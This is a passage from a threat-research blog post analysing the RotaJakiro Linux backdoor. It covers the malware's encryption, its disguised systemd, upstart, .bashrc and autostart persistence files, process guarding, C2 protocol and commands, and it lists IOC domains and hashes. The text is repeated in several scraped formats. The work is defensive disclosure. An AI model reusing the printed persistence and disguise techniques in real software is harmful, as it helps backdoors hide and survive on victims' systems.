<ul>
<li>KEY</li>
</ul>
<pre><code> 14 BA EE 23 8F 72 1A A6 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
</code></pre>
<ul>
<li>IV</li>
</ul>
<pre><code> 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
</code></pre>
<p>The Rotate decryption entry is shown below:<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_rota.png" width="860px" /><br>
The so-called Rotate is a cyclic shift, we can see that the number of shifts is determined by the value of <code>plain_len(length of plaintext) &7</code>.</p>
<p>Take the following C2 cipher text as an example.</p>
<pre><code>ff ba a2 3b cd 5b 7b 24 8c 5f e3 4b fc 56 5b 99
ac 91 cf e3 9a 27 d4 c9 6b 39 34 ce 69 ce 18 60
</code></pre>
<p>The various parameters related to decryption are shown below, the length of the ciphertext is 32 bytes and the length of the plaintext is 26 bytes.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_exp.png" width="860px" /><br>
<strong>First</strong>, decrypting with AES, we get the following "sub-ciphertext".<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_valid.png" width="860px" /><br>
<strong>Then</strong>, the valid ciphertext is extracted from the sub-ciphertext, where the valid ciphertext starts from the 8th byte, and the length is the plaintext length minus 8, which is 26-8=18 bytes here.</p>
<pre><code>98 1B DB D9 8B 59 19 5D 59 1B 59 D8 1D DC 8B D8
DB 5B
</code></pre>
<p><strong>Finally</strong>, we can calculate 26(the length of plaintext is 26)&7=2, and get the number of shifts, and shift the above valid ciphertext byte by byte by 2 bits to get C2 plaintext.</p>
<pre><code>blog.eduelects.com
</code></pre>
<h2 id="0x02persistence">0x02: Persistence</h2>
<p>RotaJakiro makes a distinction between <code>root/non-root</code> users when implementing persistence features, and different techniques are used for different accounts.</p>
<h3 id="rootaccount">root account</h3>
<ul>
<li>
<p>Depending on the Linux distribution, create the corresponding self-starting script <code>/etc/init/systemd-agent.conf</code> or <code>/lib/systemd/system/sys-temd-agent.service</code>.</p>
<pre><code>Content of systemd-agent.conf
-----------------------------
#system-daemon - configure for system daemon
#This service causes system have an associated
#kernel object to be started on boot.
description "system daemon"
start on filesystem or runlevel [2345]
exec /bin/systemd/systemd-daemon
respawn
</code></pre>
<pre><code>Content of systemd-agent.service
-----------------------------
[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target
[Service]
ExecStart=/usr/lib/systemd/systemd-daemon
Restart=always
[Install]
</code></pre>
</li>
<li>
<p>The file name used for the disguise is one of the following twos.</p>
<pre><code>/bin/systemd/systemd-daemon
/usr/lib/systemd/systemd-daemon
</code></pre>
</li>
</ul>
<h3 id="nonrootaccount">non-root account</h3>
<ul>
<li>Create autostart script<code>$HOME/.config/au-tostart/gnomehelper.desktop</code> for <strong>desktop environment</strong><pre><code>[Desktop Entry]
Type=Application
Exec=$HOME/.gvfsd/.profile/gvfsd-helper
</code></pre>
</li>
<li>Modify the <code>.bashrc</code> file to create the autostart script for the <strong>shell environment</strong><pre><code># Add GNOME's helper designed to work with the I/O abstraction of GIO
# this environment variable is set, gvfsd will not start the fuse filesystem
if [ -d ${HOME} ]; then
${HOME}/.gvfsd/.profile/gvfsd-helper
fi
</code></pre>
</li>
<li>The file name used for the disguise, both of which exist at the same time<pre><code>$HOME/.dbus/sessions/session-dbus
$HOME/.gvfsd/.profile/gvfsd-helper
</code></pre>
</li>
</ul>
<h2 id="0x03processguarding">0x03:Process guarding</h2>
<p>RotaJakiro implements process guarding to protect its own operation, and like persistence, there are different implementations for <code>root/non-root</code> users.</p>
<h3 id="rootaccount">root account</h3>
<p>When running under the root account, depending on the Linux distribution, a new process is automatically created when the service process is terminated by writing <code>Restart=always or respawn</code> to the service's configuration file.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_rootcfg.png" width="860px" /><br>
The actual result is shown in the figure below, where you can see that a new process is created immediately after the systemd-daemon process is terminated.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_rootprot.png" width="860px" /></p>
<h3 id="nonrootaccount">non-root account</h3>
<p>When running under a non-root account, RotaJakiro generates two processes, <code>session-dbus</code> and <code>gvfsd-helper</code>, which monitor each other's survival and restore them when one of them is terminated, which is very typical of dual-process protection.</p>
<p>How is RotaJakiro's dual-process protection implemented?</p>
<p><strong>First</strong>, it creates a piece of shared memory with the <code>shmget API</code>, and session-dbus and gvfsd-helper communicate with each other through this shared memory, telling each other their PIDs.<br>
<strong>Then</strong>, dynamically fetching the process survival through the <code>/proc/[PID]</code> directory. When the other process is found dead, the process is created by <strong>execvp</strong> API to help the dead process "resurrect", as shown in the following diagram.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_monitor.png" width="860px" /><br>
The actual effect is shown in the figure below, you can see that after session-dbus and gvfsd-helper are ended by kill -9, new processes are created right away.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_nonrprot.png" width="860px" /></p>
<h2 id="0x04singleinstance">0x04: Single instance</h2>
<p>RotaJakiro implements a single instance by file locking, as shown below.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_single.png" width="860px" /><br>
The lockfile used in this differs under the root/non-root account.</p>
<ul>
<li>The lockfile under root, one will be created.<pre><code>/usr/lib32/.X11/X0-lock
/bin/lib32/.X11/X0-lock
</code></pre>
</li>
<li>The lockfile under non-root, both will be created.<pre><code>$HOME/.X11/X0-lock
$HOME/.X11/.X11-lock
</code></pre>
</li>
</ul>
<p>In the actual non-root account, for example, the processes and file locks can be matched by <code>/proc/locks</code>, and then the corresponding RotaJakiro sample is executed.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_instance.png" width="860px" /></p>
<h2 id="0x05networkcommunication">0x05: Network communication</h2>
<p>RotaJakiro establishes communication with C2 through the following code snippet, pending the execution of subsequent commands.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_stage.png" width="860px" /><br>
This process can be divided into 2 stages</p>
<ul>
<li>Stage 1, initialization phase<br>
Decrypt the C2 list, establish a connection with C2, send the online information, receive and decrypt the information returned by C2.</li>
<li>Stage 2, wait for C2 calls<br>
Verify the information returned by C2, if it passes the verification, execute the subsequent instructions sent by C2.</li>
</ul>
<h3 id="stage1initialization">Stage 1: Initialization</h3>
<p>The C2 list is decrypted by the decryption algorithm described in the previous section, and the following four C2s are built into the sample at present.</p>
<pre><code>news.thaprior.net
blog.eduelects.com
cdn.mirror-codes.net
status.sublineover.net
</code></pre>
<p>RotaJakiro will first try to establish a connection with them, and then construct the golive message by the following code snippet.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_cons.png" width="860px" /><br>
Then it encrypts the golive information and sends it to the C2s<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_xor.png" width="860px" /><br>
Finally, it receives the packet back from the C2, decrypts it and checks its legitimacy, and if it passes the check, it goes to Stage 2.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_recvreg.png" width="860px" /></p>
<h3 id="stage2specificoperations">Stage 2: Specific operations</h3>
<p>Receive and execute the command from C2 through the following codesnippet.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_stage2.png" width="860px" /><br>
At present, RotaJakiro supports a total of 12 instructions, and the correspondence between the instruction code and the function is shown in the following table.</p>
<table>
<thead>
<tr>
<th>CmdId</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x138E3E6</td>
<td>Exit</td>
</tr>
<tr>
<td>0x208307A</td>
<td>Test</td>
</tr>
<tr>
<td>0x5CCA727</td>
<td>Heartbeat</td>
</tr>
<tr>
<td>0x17B1CC4</td>
<td>Set C2 timeout time</td>
</tr>
<tr>
<td>0x25360EA</td>
<td>Steal Senstive Info</td>
</tr>
<tr>
<td>0x18320e0</td>
<td>Upload Device Info</td>
</tr>
<tr>
<td>0x2E25992</td>
<td>Deliver File/Plugin</td>
</tr>
<tr>
<td>0x2CD9070</td>
<td>Query File/Plugin Status</td>
</tr>
<tr>
<td>0x12B3629</td>
<td>Delete File/Plugin Or Dir</td>
</tr>
<tr>
<td>0x1B25503</td>
<td>Run Plugin_0x39C93E</td>
</tr>
<tr>
<td>0x1532E65</td>
<td>Run Plugin_0x75A7A2</td>
</tr>
<tr>
<td>0x25D5082</td>
<td>Run Plugin_0x536D01</td>
</tr>
<tr>
<td>The <strong>Run Plugin</strong> function reuses the same code and implements the function call through the following logic.</td>
<td></td>
</tr>
<tr>
<td><img src="__GHOST_URL__/content/images/2021/04/jak_plugin.png" width="860px" /></td>
<td></td>
</tr>
<tr>
<td>We are currently not capturing such payloads, so we use the <code>Plugin_"parameter"</code> form to represent different tasks.</td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="0x06packetanalysis">0x06 Packet analysis</h2>
<p>The network communication packet of RotaJakiro consists of three parts: <code>Head, Key, Payload</code>.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_packet.png" width="860px" /><br>
<code>Head</code> is mandatory and 82 bytes long, and the <code>Key & Payload</code> parts are optional.<br>
<code>Head & Key</code>are encrypted with XOR & Rotate, and <code>Payload</code> is encrypted with AES & ZLIB Compression.<br>
In the following, we will illustrate the composition of network traffic <code>head&key&payload</code> and the decryption process through a round of interaction between Bot and C2.</p>
<h3 id="c2bot">C2 -> Bot</h3>
<img src="__GHOST_URL__/content/images/2021/04/jak_cmd.png" width="860px" />
<p>The first 0x52 bytes are the content of the Head. How to decrypt the head? Very simple, <code>shift 3 bits left byte by byte, and then XOR with 0x1b</code>. After decryption, we can get the following content.</p>
<pre><code>00000000 16 11 10 b9 03 b1 0c fb 04 20 00 00 00 08 00 e0 |...¹.±.û. .....à|
00000010 20 83 01 c2 20 64 20 01 e2 00 00 00 00 c2 0c 00 | .. d .â....Â..|
00000020 00 00 32 42 36 39 33 33 34 46 38 34 31 44 30 44 |..2B69334F841D0D|
00000030 39 46 41 30 36 35 38 45 43 33 45 32 39 46 41 44 |9FA0658EC3E29FAD|
00000040 34 39 c8 53 e6 9c 48 c4 8b 77 24 2e 02 1c 96 d9 |49ÈSæ.HÄ.w$....Ù|
00000050 81 28
------------filed parse------------------
offset 0x09, 4 bytes--->payload length
offset 0x0d, 2 bytes--->body length
offset ox0f, 4 bytes--->cmdid
</code></pre>
<p>Through the field parsing, we can know that the length of key is 0x8 bytes, the length of payload is 0x20 bytes, and the instruction code to be executed is 0x18320e0, that is, the <code>report device information</code>.Reading 8 bytes from offset 0x52 gives the <strong>Key</strong><code>ea 9a 1a 18 18 44 26 a0</code>, and using the same decryption method as head, we get <code>4c cf cb dbdb 39 2a 1e</code>, which is used as the AES key to decrypt the Payload.</p>
<p>Reading 32 bytes from offset 0x5a gives us the following <strong>Payload</strong>.</p>
<pre><code>54 c1 c3 69 00 18 31 e4 a2 5b 10 7f 67 ab d1 4b
b2 7b 3d 3f b3 bc 66 6a 26 f6 f6 b3 f7 2e 66 6d
</code></pre>
<p>Using the decrypted key as the AES-256 key, decrypt the above data in CBC mode to get the following content.</p>
<pre><code>3b c7 f8 9b 73 2b d1 04 78 9c e3 60 60 60 d8 df d9 c1 71 56 f7 6f 00 00 13 80 04 28
</code></pre>
<p>The 8th byte onwards is ZLIB compressed data, decompressed to get the following content.</p>
<pre><code>08 00 00 00 bf 89 88 08 cd 2d fd 50
------------filed parse------------------
offset 0, 4 bytes--->length
</code></pre>
<p>What is the use of the decompressed Payload(<code>bf 89 88 08 cd 2d fd 50</code>)? It is used as <strong>a new AES key to decrypt some sensitive resource information</strong>.</p>
<p>For example, when Bot collects device information, one of the information is the current OS distribution, which is implemented by the <code>cat /etc/*release | uniq</code> command.</p>
<pre><code>root@debian:~# cat /etc/*release | uniq
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
</code></pre>
<p>The<code> cat /etc/*release | uniq</code> command is the result of the following cipher text</p>
<pre><code>"cat /etc/*release | uniq" cmd_ciphertxt
---------------------------
74 00 dd 79 e6 1e aa bb 99 81 7e ca d9 21 6b 81
6b d9 9d 14 45 73 6a 1c 61 cc 28 a3 0f 2b 41 5a
6b 33 8c 37 25 89 47 05 44 7e f0 6b 17 70 d8 ca
</code></pre>
<p>decrypted with the <code>new AES key and the parameters</code> in the following figure.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_paykey.png" width="860px" /></p>
<h3 id="botc2">Bot -> C2</h3>
<p>When BOT receives C2's "report device information" command, it will send the following data to C2, and you can see that the value of the key part is still <code>ea 9a 1a 18 18 44 26 a0</code>.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_payload.png" width="860px" /><br>
The decrypted key value is <code>4c cf cb db db 39 2a 1e</code>. After decrypting and decompressing the payload sent by Bot to C2, we get the following data, which is the various information of the device, including the information obtained by <code>cat /etc/*release | uniq </code>mentioned before, which verifies that our analysis is correct.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_device-1.png" width="860px" /></p>
<h2 id="relationshipwiththetoriibotnet">Relationship with the Torii Botnet</h2>
<p>The <a href="https://blog.avast.com/new-torii-botnet-threat-research">Torii botnet</a> was exposed by Avast on September 20, 2018, and we noticed that there are some the similarities between the twos,for example:</p>
<h4 id="1stringsimilarity">1: String similarity</h4>
<p>After decrypting the sensitive resources of RotaJakiro & Torii, we found that they reuse a lot of the same commands.</p>
<pre><code>1：semanage fcontext -a -t bin_t '%s' && restorecon '%s'
2：which semanage
3：cat /etc/*release
4：cat /etc/issue
5：systemctl enable
6：initctl start
...
</code></pre>
<h4 id="2trafficsimilarity">2: Traffic similarity</h4>
<p>In the process of constructing the flow, a large number of constants are used and the construction methods are very close.<br>
<img src="__GHOST_URL__/content/images/2021/04/jak_compare.png" width="860px" /></p>
<h4 id="3functionalsimilarity">3: Functional similarity</h4>
<p>From the perspective of reverse engineering, RotaJakiro & Torii share similar styles: the use of encryption algorithms to hide sensitive resources, the implementation of a rather old-school style of persistence,structured network traffic, etc.</p>
<p>We don’t exactly know the answer, but it seems that RotaJakiro and Torii have some connections.</p>
<h2 id="thetipoftheiceberg">The tip of the iceberg</h2>
<p>While this concludes our analysis of RotaJakiro, the real work is far from over, and many questions remain unanswered: "How did RotaJakiro spread, and what was its purpose?" , "Does RotaJakiro have a specific target?”, We would love to know if the community has relevant leads.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to <strong>netlabat[at]360.cn</strong>.</p>
<h2 id="ioc">IOC</h2>
<p>Sample MD5</p>
<pre><code>1d45cd2c1283f927940c099b8fab593b
11ad1e9b74b144d564825d65d7fb37d6
5c0f375e92f551e8f2321b141c15c48f
64f6cfe44ba08b0babdd3904233c4857
</code></pre>
<p>C2</p>
<pre><code>news.thaprior.net:443
blog.eduelects.com:443
cdn.mirror-codes.net:443
status.sublineover.net:443
</code></pre>
<p>IP</p>
<pre><code>176.107.176.16 Ukraine|Kiev|Unknown 42331|PE_Freehost
</code></pre>
<!--kg-card-end: markdown--> | Overview
On March 25, 2021, 360 NETLAB's BotMon system flagged a suspiciousELF file (MD5=64f6cfe44ba08b0babdd3904233c4857) with 0 VT detection, the sample communicates with 4 domains on TCP 443 (HTTPS), but the traffic is not of TLS/SSL. A close look at the sample revealed it to be a backdoor targeting Linux X64 systems, a family that has been around for at least 3 years.
We named it RotaJakiro based on the fact that the family uses rotate encryption and behaves differently for root/non-root accounts when executing.
RotaJakiro pays quite some attention to hide its trails, using multiple of encryption algorithms, including: the use of AES algorithm to encrypt the resource information within the sample; C2 communication using a combination of AES, XOR, ROTATE encryption and ZLIB compression.
RotaJakiro supports a total of 12 functions, three of which are related to the execution of specific Plugins. Unfortunately, we have no visibilityto the plugins, and therefore do not know its true purpose. From a broad backdoor perspective, the functions can be grouped into the following four categories.
* Reporting device information
* Stealing sensitive information
* File/Plugin management (query, download, delete)
* Execution of specific Plugin
Any more out there?
With the sample we have, we discovered the following 4 samples, all of which have 0 detections on VT, and the earliest First Seen time on VT is in 2018.
FileName
MD5
Detection
First Seen in VT
systemd-daemon
1d45cd2c1283f927940c099b8fab593b
0/61
2018-05-16 04:22:59
systemd-daemon
11ad1e9b74b144d564825d65d7fb37d6
0/58
2018-12-25 08:02:05
systemd-daemon
5c0f375e92f551e8f2321b141c15c48f
0/56
2020-05-08 05:50:06
gvfsd-helper
64f6cfe44ba08b0babdd3904233c4857
0/61
2021-01-18 13:13:19
These samples all have the following 4 C2s embedded. These 4 C2 domains have very close Crteated,Updated and Expired time, readers will notice that the crated data was in Dec 2015, 6 years ago.
Domain
Detection
Created
Last Updated
Expired
news.thaprior.net
0/83
2015-12-09 06:24:13
2020-12-03 07:24:33
2021-12-09 06:24:13
blog.eduelects.com
0/83
2015-12-10 13:12:52
2020-12-03 07:24:33
2021-12-10 13:12:52
cdn.mirror-codes.net
0/83
2015-12-09 06:24:19
2020-12-03 07:24:32
2021-12-09 06:24:19
status.sublineover.net
0/83
2015-12-09 06:24:24
2020-12-03 07:24:32
2021-12-09 06:24:24
Reverse Analysis
The 4 RotaJakiro samples, with time distribution from 2018 to 2021, are very close to their functions, and the 2021 sample is selected for analysis in this blog, which has the following basic information:
MD5:64f6cfe44ba08b0babdd3904233c4857
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
Packer:No
At the coding level, RotaJakiro uses techniques such as dynamic AES, double-layer encrypted communication protocols to counteract the binary & network traffic analysis.
At the functional level, RotaJakiro first determines whether the user is root or non-root at run time, with different execution policies for different accounts, then decrypts the relevant sensitive resources using AES& ROTATE for subsequent persistence, process guarding and single instance use, and finally establishes communication with C2 and waits for the execution of commands issued by C2.
The following will analyze the specific implementation of RotaJakiro from the above perspective.
0x00: Tricks used by the sample
* Dynamically generate a table of constants required by the AES encryption algorithm to prevent the algorithm from being directly identified
* Use stack strings obfuscation technique to store encrypted sensitive resource information
* Network communication using double layer encryption
0x01: Encryption algorithm
All sensitive resources in RotaJakiro are encrypted, and in IDA we can see that the decryption method dec_proc is called 60 times, which is composed of AES and Rotate.
The AES decryption entry is as follows:
Where aes_dec is AES-256, CBC mode, key&iv are hardcoded.
* KEY
14 BA EE 23 8F 72 1A A6 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
* IV
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
The Rotate decryption entry is shown below:
The so-called Rotate is a cyclic shift, we can see that the number of shifts is determined by the value of plain_len(length of plaintext) &7.
Take the following C2 cipher text as an example.
ff ba a2 3b cd 5b 7b 24 8c 5f e3 4b fc 56 5b 99
ac 91 cf e3 9a 27 d4 c9 6b 39 34 ce 69 ce 18 60
The various parameters related to decryption are shown below, the length of the ciphertext is 32 bytes and the length of the plaintext is 26 bytes.
First, decrypting with AES, we get the following "sub-ciphertext".
Then, the valid ciphertext is extracted from the sub-ciphertext, where the valid ciphertext starts from the 8th byte, and the length is the plaintext length minus 8, which is 26-8=18 bytes here.
98 1B DB D9 8B 59 19 5D 59 1B 59 D8 1D DC 8B D8
DB 5B
Finally, we can calculate 26(the length of plaintext is 26)&7=2, and get the number of shifts, and shift the above valid ciphertext byte by byte by 2 bits to get C2 plaintext.
blog.eduelects.com
0x02: Persistence
RotaJakiro makes a distinction between root/non-root users when implementing persistence features, and different techniques are used for different accounts.
root account
*
Depending on the Linux distribution, create the corresponding self-starting script /etc/init/systemd-agent.conf or /lib/systemd/system/sys-temd-agent.service.
Content of systemd-agent.conf
-----------------------------
#system-daemon - configure for system daemon
#This service causes system have an associated
#kernel object to be started on boot.
description "system daemon"
start on filesystem or runlevel [2345]
exec /bin/systemd/systemd-daemon
respawn
Content of systemd-agent.service
-----------------------------
[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target
[Service]
ExecStart=/usr/lib/systemd/systemd-daemon
Restart=always
[Install]
*
The file name used for the disguise is one of the following twos.
/bin/systemd/systemd-daemon
/usr/lib/systemd/systemd-daemon
non-root account
* Create autostart script$HOME/.config/au-tostart/gnomehelper.desktop for desktop environment
[Desktop Entry]
Type=Application
Exec=$HOME/.gvfsd/.profile/gvfsd-helper
* Modify the .bashrc file to create the autostart script for the shell environment
# Add GNOME's helper designed to work with the I/O abstraction of GIO
# this environment variable is set, gvfsd will not start the fuse filesystem
if [ -d ${HOME} ]; then
${HOME}/.gvfsd/.profile/gvfsd-helper
fi
* The file name used for the disguise, both of which exist at the same time
$HOME/.dbus/sessions/session-dbus
$HOME/.gvfsd/.profile/gvfsd-helper
0x03:Process guarding
RotaJakiro implements process guarding to protect its own operation, and like persistence, there are different implementations for root/non-root users.
root account
When running under the root account, depending on the Linux distribution, a new process is automatically created when the service process is terminated by writing Restart=always or respawn to the service's configuration file.
The actual result is shown in the figure below, where you can see that a new process is created immediately after the systemd-daemon process is terminated.
non-root account
When running under a non-root account, RotaJakiro generates two processes, session-dbus and gvfsd-helper, which monitor each other's survival and restore them when one of them is terminated, which is very typical of dual-process protection.
How is RotaJakiro's dual-process protection implemented?
First, it creates a piece of shared memory with the shmget API, and session-dbus and gvfsd-helper communicate with each other through this shared memory, telling each other their PIDs.
Then, dynamically fetching the process survival through the /proc/[PID] directory. When the other process is found dead, the process is created by execvp API to help the dead process "resurrect", as shown in the following diagram.
The actual effect is shown in the figure below, you can see that after session-dbus and gvfsd-helper are ended by kill -9, new processes are created right away.
0x04: Single instance
RotaJakiro implements a single instance by file locking, as shown below.
The lockfile used in this differs under the root/non-root account.
* The lockfile under root, one will be created.
/usr/lib32/.X11/X0-lock
/bin/lib32/.X11/X0-lock
* The lockfile under non-root, both will be created.
$HOME/.X11/X0-lock
$HOME/.X11/.X11-lock
In the actual non-root account, for example, the processes and file locks can be matched by /proc/locks, and then the corresponding RotaJakiro sample is executed.
0x05: Network communication
RotaJakiro establishes communication with C2 through the following code snippet, pending the execution of subsequent commands.
This process can be divided into 2 stages
* Stage 1, initialization phase
Decrypt the C2 list, establish a connection with C2, send the online information, receive and decrypt the information returned by C2.
* Stage 2, wait for C2 calls
Verify the information returned by C2, if it passes the verification, execute the subsequent instructions sent by C2.
Stage 1: Initialization
The C2 list is decrypted by the decryption algorithm described in the previous section, and the following four C2s are built into the sample at present.
news.thaprior.net
blog.eduelects.com
cdn.mirror-codes.net
status.sublineover.net
RotaJakiro will first try to establish a connection with them, and then construct the golive message by the following code snippet.
Then it encrypts the golive information and sends it to the C2s
Finally, it receives the packet back from the C2, decrypts it and checks its legitimacy, and if it passes the check, it goes to Stage 2.
Stage 2: Specific operations
Receive and execute the command from C2 through the following codesnippet.
At present, RotaJakiro supports a total of 12 instructions, and the correspondence between the instruction code and the function is shown in the following table.
CmdId
Function
0x138E3E6
Exit
0x208307A
Test
0x5CCA727
Heartbeat
0x17B1CC4
Set C2 timeout time
0x25360EA
Steal Senstive Info
0x18320e0
Upload Device Info
0x2E25992
Deliver File/Plugin
0x2CD9070
Query File/Plugin Status
0x12B3629
Delete File/Plugin Or Dir
0x1B25503
Run Plugin_0x39C93E
0x1532E65
Run Plugin_0x75A7A2
0x25D5082
Run Plugin_0x536D01
The Run Plugin function reuses the same code and implements the function call through the following logic.
We are currently not capturing such payloads, so we use the Plugin_"parameter" form to represent different tasks.
0x06 Packet analysis
The network communication packet of RotaJakiro consists of three parts: Head, Key, Payload.
Head is mandatory and 82 bytes long, and the Key & Payload parts are optional.
Head & Keyare encrypted with XOR & Rotate, and Payload is encrypted with AES & ZLIB Compression.
In the following, we will illustrate the composition of network traffic head&key&payload and the decryption process through a round of interaction between Bot and C2.
C2 -> Bot
The first 0x52 bytes are the content of the Head. How to decrypt the head? Very simple, shift 3 bits left byte by byte, and then XOR with 0x1b. After decryption, we can get the following content.
00000000 16 11 10 b9 03 b1 0c fb 04 20 00 00 00 08 00 e0 |...¹.±.û. .....à|
00000010 20 83 01 c2 20 64 20 01 e2 00 00 00 00 c2 0c 00 | .. d .â....Â..|
00000020 00 00 32 42 36 39 33 33 34 46 38 34 31 44 30 44 |..2B69334F841D0D|
00000030 39 46 41 30 36 35 38 45 43 33 45 32 39 46 41 44 |9FA0658EC3E29FAD|
00000040 34 39 c8 53 e6 9c 48 c4 8b 77 24 2e 02 1c 96 d9 |49ÈSæ.HÄ.w$....Ù|
00000050 81 28
------------filed parse------------------
offset 0x09, 4 bytes--->payload length
offset 0x0d, 2 bytes--->body length
offset ox0f, 4 bytes--->cmdid
Through the field parsing, we can know that the length of key is 0x8 bytes, the length of payload is 0x20 bytes, and the instruction code to be executed is 0x18320e0, that is, the report device information.Reading 8 bytes from offset 0x52 gives the Keyea 9a 1a 18 18 44 26 a0, and using the same decryption method as head, we get 4c cf cb dbdb 39 2a 1e, which is used as the AES key to decrypt the Payload.
Reading 32 bytes from offset 0x5a gives us the following Payload.
54 c1 c3 69 00 18 31 e4 a2 5b 10 7f 67 ab d1 4b
b2 7b 3d 3f b3 bc 66 6a 26 f6 f6 b3 f7 2e 66 6d
Using the decrypted key as the AES-256 key, decrypt the above data in CBC mode to get the following content.
3b c7 f8 9b 73 2b d1 04 78 9c e3 60 60 60 d8 df d9 c1 71 56 f7 6f 00 00 13 80 04 28
The 8th byte onwards is ZLIB compressed data, decompressed to get the following content.
08 00 00 00 bf 89 88 08 cd 2d fd 50
------------filed parse------------------
offset 0, 4 bytes--->length
What is the use of the decompressed Payload(bf 89 88 08 cd 2d fd 50)? It is used as a new AES key to decrypt some sensitive resource information.
For example, when Bot collects device information, one of the information is the current OS distribution, which is implemented by the cat /etc/*release | uniq command.
root@debian:~# cat /etc/*release | uniq
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
The cat /etc/*release | uniq command is the result of the following cipher text
"cat /etc/*release | uniq" cmd_ciphertxt
---------------------------
74 00 dd 79 e6 1e aa bb 99 81 7e ca d9 21 6b 81
6b d9 9d 14 45 73 6a 1c 61 cc 28 a3 0f 2b 41 5a
6b 33 8c 37 25 89 47 05 44 7e f0 6b 17 70 d8 ca
decrypted with the new AES key and the parameters in the following figure.
Bot -> C2
When BOT receives C2's "report device information" command, it will send the following data to C2, and you can see that the value of the key part is still ea 9a 1a 18 18 44 26 a0.
The decrypted key value is 4c cf cb db db 39 2a 1e. After decrypting and decompressing the payload sent by Bot to C2, we get the following data, which is the various information of the device, including the information obtained by cat /etc/*release | uniq mentioned before, which verifies that our analysis is correct.
Relationship with the Torii Botnet
The Torii botnet was exposed by Avast on September 20, 2018, and we noticed that there are some the similarities between the twos,for example:
1: String similarity
After decrypting the sensitive resources of RotaJakiro & Torii, we found that they reuse a lot of the same commands.
1：semanage fcontext -a -t bin_t '%s' && restorecon '%s'
2：which semanage
3：cat /etc/*release
4：cat /etc/issue
5：systemctl enable
6：initctl start
...
2: Traffic similarity
In the process of constructing the flow, a large number of constants are used and the construction methods are very close.
3: Functional similarity
From the perspective of reverse engineering, RotaJakiro & Torii share similar styles: the use of encryption algorithms to hide sensitive resources, the implementation of a rather old-school style of persistence,structured network traffic, etc.
We don’t exactly know the answer, but it seems that RotaJakiro and Torii have some connections.
The tip of the iceberg
While this concludes our analysis of RotaJakiro, the real work is far from over, and many questions remain unanswered: "How did RotaJakiro spread, and what was its purpose?" , "Does RotaJakiro have a specific target?”, We would love to know if the community has relevant leads.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlabat[at]360.cn.
IOC
Sample MD5
1d45cd2c1283f927940c099b8fab593b
11ad1e9b74b144d564825d65d7fb37d6
5c0f375e92f551e8f2321b141c15c48f
64f6cfe44ba08b0babdd3904233c4857
C2
news.thaprior.net:443
blog.eduelects.com:443
cdn.mirror-codes.net:443
status.sublineover.net:443
IP
176.107.176.16 Ukraine|Kiev|Unknown 42331|PE_Freehost
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\nOn March 25, 2021, 360 NETLAB's BotMon system flagged a suspiciousELF file (MD5=64f6cfe44ba08b0babdd3904233c4857) with 0 VT detection, the sample communicates with 4 domains on TCP 443 (HTTPS), but the traffic is not of TLS/SSL. A close look at the sample revealed it to be a **backdoor** targeting Linux X64 systems, a family that has been around for **at least 3 years**. \n\nWe named it **RotaJakiro** based on the fact that the family uses rotate encryption and behaves differently for ```root/non-root accounts``` when executing.\n\n```RotaJakiro``` pays quite some attention to hide its trails, using multiple of encryption algorithms, including: the use of AES algorithm to encrypt the resource information within the sample; C2 communication using a combination of ```AES, XOR, ROTATE encryption``` and ```ZLIB compression```.\n\n```RotaJakiro``` supports a total of 12 functions, three of which are related to the execution of specific Plugins. Unfortunately, we have no visibilityto the plugins, and therefore do not know its true purpose. From a broad backdoor perspective, the functions can be grouped into the following four categories.\n* Reporting device information\n* Stealing sensitive information\n* File/Plugin management (query, download, delete)\n* Execution of specific Plugin\n## Any more out there?\nWith the sample we have, we discovered the following 4 samples, all of which have 0 detections on VT, and the earliest First Seen time on VT is in 2018.\n| FileName | MD5 | Detection | First Seen in VT |\n| -------------- | -------------------------------- | --------- | ------------------- |\n| systemd-daemon | 1d45cd2c1283f927940c099b8fab593b | 0/61 | 2018-05-16 04:22:59 |\n| systemd-daemon | 11ad1e9b74b144d564825d65d7fb37d6 | 0/58 | 2018-12-25 08:02:05 |\n| systemd-daemon | 5c0f375e92f551e8f2321b141c15c48f | 0/56 | 2020-05-08 05:50:06 |\n| gvfsd-helper | 64f6cfe44ba08b0babdd3904233c4857 | 0/61 | 2021-01-18 13:13:19 |\n\nThese samples all have the following 4 C2s 